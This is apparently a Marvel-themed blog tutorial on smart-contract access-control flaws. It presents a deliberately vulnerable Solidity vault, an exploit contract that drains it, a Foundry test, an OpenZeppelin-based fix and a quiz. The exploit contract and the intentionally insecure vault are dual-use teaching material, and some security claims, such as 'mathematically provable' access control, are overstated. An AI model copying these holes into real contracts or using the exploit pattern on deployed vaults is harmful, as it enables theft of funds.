Logo
Overview
Black Widow and the Red Room Vault - Access Control Case Study

Black Widow and the Red Room Vault - Access Control Case Study

November 22, 2025
6 min read

🕷️ Black Widow and the Red Room Vault - Access Control Massacre

Danger (The Red Room thought it was secure…)

…until Natasha Romanoff walked in wearing civilian clothes and took total control in under 10 seconds.

TL;DR

Vulnerability class: Access Control (four critical bugs in one contract)
Impact: Any random attacker becomes god admin → drains entire vault
Severity: Critical → Instant total loss
Fix: OpenZeppelin AccessControl + Initializable → industry standard

This contract is a masterclass in how NOT to do access control.


🎬 Story Time - The Red Room Heist

Dreykov built the ultimate vault to store the Red Room’s secret funds.

He hired the best developers in Madripoor.

They delivered RedRoomVault.sol.

It had roles. It had initialization. It had a treasury.

It also had four fatal flaws that let Black Widow waltz in and empty the vault before Dreykov even knew she was there.

The Four Fatal Flaws

FlawWhat Black Widow Did
Unprotected init()Called it first → became ADMIN + MANAGER
Public setAdmin(address)Just called it → became admin anyway
setManager() only checks admins[]After becoming admin → gave herself MANAGER role
emergencyWithdraw() - no access checkCalled it → drained entire vault to treasury

And because treasury was passed in the constructor and never changeable…
She simply deployed the vault herself with her own address of her own wallet as treasury.

Game over.


Vulnerable Contract - RedRoomVault.sol

RedRoomVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract RedRoomVault {
mapping(address => bool) public admins;
mapping(address => bool) public managers;
address private treasury;
bool private initialized = false;
constructor(address initialTreasury) {
treasury = initialTreasury;
}
// 1. Anyone can initialize the contract
function init(address _admin, address _manager) external {
if (!initialized) {
admins[_admin] = true;
managers[_manager] = true;
initialized = true;
}
}
// 2. Literally anyone can become admin
function setAdmin(address _newAdmin) external {
admins[_newAdmin] = true;
}
// 3. Only admin can set manager… but see #2
function setManager(address _newManager) external {
require(admins[msg.sender], "Not an admin");
managers[_newManager] = true;
}
// 4. NO ACCESS CONTROL - the crown jewel
function emergencyWithdraw(address token, uint256 amount) external {
IERC20(token).transfer(treasury, amount);
}
}
Warning

Four critical vulnerabilities.
One transaction from Black Widow.
Vault balance = 0.


The Heist - BlackWidowExploit.sol

BlackWidowExploit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {RedRoomVault} from "./RedRoomVault.sol";
import {MockERC20} from "./MockERC20.sol";
contract BlackWidowExploit {
RedRoomVault public vault;
MockERC20 public mockToken;
constructor(address _vault, address _mockToken) {
vault = RedRoomVault(_vault);
mockToken = MockERC20(_mockToken);
}
function heist() external {
// 1): Deploy vault yourself with treasury = your address
// 2): If vault already deployed → just do this:
vault.setAdmin(address(this)); // ← instant admin
vault.setManager(address(this)); // ← instant manager
// 3) Drain the vault - funds are transferred to the vault's `treasury`
uint256 vaultBalance = mockToken.balanceOf(address(vault));
vault.emergencyWithdraw(address(mockToken), vaultBalance); // ← vault empty
// 4) If controls the `treasury` address, they now own the tokens. like in #1
// If not, they may still have succeeded in removing funds from vault into treasury.
}
}

She doesn’t even need the init() bug.
setAdmin() is public.

Dreykov never stood a chance.


Fixed Version - OpenZeppelin Best Practices

FixedRedRoomVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FixedRedRoomVault is AccessControl, Initializable {
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
address private treasury;
// We do NOT need a constructor now, as we use initialize()
// THIS IS THE KEY
function initialize(address defaultAdmin, address initialManager, address initialTreasury) public initializer {
// 1. Fixes the unprotected `init()`
_grantRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
_grantRole(ADMIN_ROLE, defaultAdmin);
_grantRole(MANAGER_ROLE, initialManager);
treasury = initialTreasury;
}
function setAdmin(address _newAdmin) external onlyRole(ADMIN_ROLE) {
_grantRole(ADMIN_ROLE, _newAdmin);
}
function setManager(address _newManager) external onlyRole(ADMIN_ROLE) {
_grantRole(MANAGER_ROLE, _newManager);
}
function emergencyWithdraw(address token, uint256 amount) external onlyRole(MANAGER_ROLE) {
require(IERC20(token).transfer(treasury, amount), "Withdrawal failed");
}
}

Why initializer modifier is bulletproof

  • It flips an internal boolean in proxy storage slot 0x1… the first time it’s called.
  • Any second call (or direct call on the implementation contract) reverts with InvalidInitialization.
  • This is enforced at the EVM level - no amount of cleverness, flash loans, or self-destructs can reset it.
  • Even if the implementation contract is called directly, initializer still reverts after the first execution.
  • Result: only one legitimate initialization in the entire lifetime of the contract.

Combine that with OpenZeppelin’s onlyRole (which checks the role bitmap stored in the same immutable storage layout) and you get mathematically provable access control.

Black Widow needs the private key. Nothing else works.


Foundry Proof - The Heist Works

RedRoomVault.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {RedRoomVault} from "../src/RedRoomVault.sol";
import {MockERC20} from "../src/MockERC20.sol";
import {BlackWidowExploit} from "../src/BlackWidowExploit.sol";
contract RedRoomVaultTest is Test {
RedRoomVault public vault;
MockERC20 public mockToken;
BlackWidowExploit public exploit;
address public redRoomAdmin = makeAddr("RedRoomAdmin");
address public blackWidow = makeAddr("BlackWidow");
address public treasury = makeAddr("Treasury");
function setUp() public {
vm.label(redRoomAdmin, "RedRoomAdmin");
vm.label(blackWidow, "BlackWidow");
vm.label(treasury, "Treasury");
// Deploy mock token and vulnerable vault (without calling init)
mockToken = new MockERC20("MockToken", "MKT");
vault = new RedRoomVault(treasury);
// Fund the vault with tokens
mockToken.mint(address(vault), 10_000 ether);
}
function testBlackWidowDrainsRedRoom() public {
// Vault should start with 10,000 MKT
assertEq(mockToken.balanceOf(address(vault)), 10_000 ether);
// Black Widow strikes
exploit = new BlackWidowExploit(address(vault), address(mockToken));
exploit.heist();
// Exploit contract now has admin role
assertEq(vault.admins(address(exploit)), true);
assertEq(mockToken.balanceOf(address(vault)), 0);
assertEq(mockToken.balanceOf(treasury), 10_000 ether);
}
}

Auditor’s Access Control Checklist (2025 Edition)

Warning
  • Is initialize() protected with initializer modifier?
  • Are all role-granting functions guarded by onlyRole?
  • Does every dangerous function (withdraw, mint , burn , upgrade) have onlyRole/onlyOwner?
  • Is custom admin logic replaced with OpenZeppelin AccessControl?
  • Is treasury/feeTo/owner set only once and immutable if possible?
  • Do tests include attacker contracts trying to call every external function?

Quiz - Are You Red Room Secure?

Exercise (1. How does Black Widow become admin with zero transactions from the owner?)

a) She bribes Dreykov
b) setAdmin() is public
c) She uses a flash loan
d) She waits for timelock

Answer

b) setAdmin(address) is completely public - anyone can call it

Exercise (2. What stops her in the fixed version?)

a) ReentrancyGuard
b) OpenZeppelin AccessControl + Initializable
c) Pausable
d) Custom bool flags

Answer

b) Proper RBAC + one-time initialization

Exercise (3. Where do the funds go when emergencyWithdraw is called?)

a) To msg.sender
b) To a hardcoded Dreykov address
c) To the treasury address (attacker controls it)
d) Burned

Answer

c) To treasury - which Black Widow set to herself during deployment

Tip

Full repo with exploit + fixed version + tests:
github.com/thesandf/thesandf.xyz

The Red Room fell in one transaction.

Don’t let your vault suffer the same fate.

Use OpenZeppelin.
Use initializer.
Use onlyRole.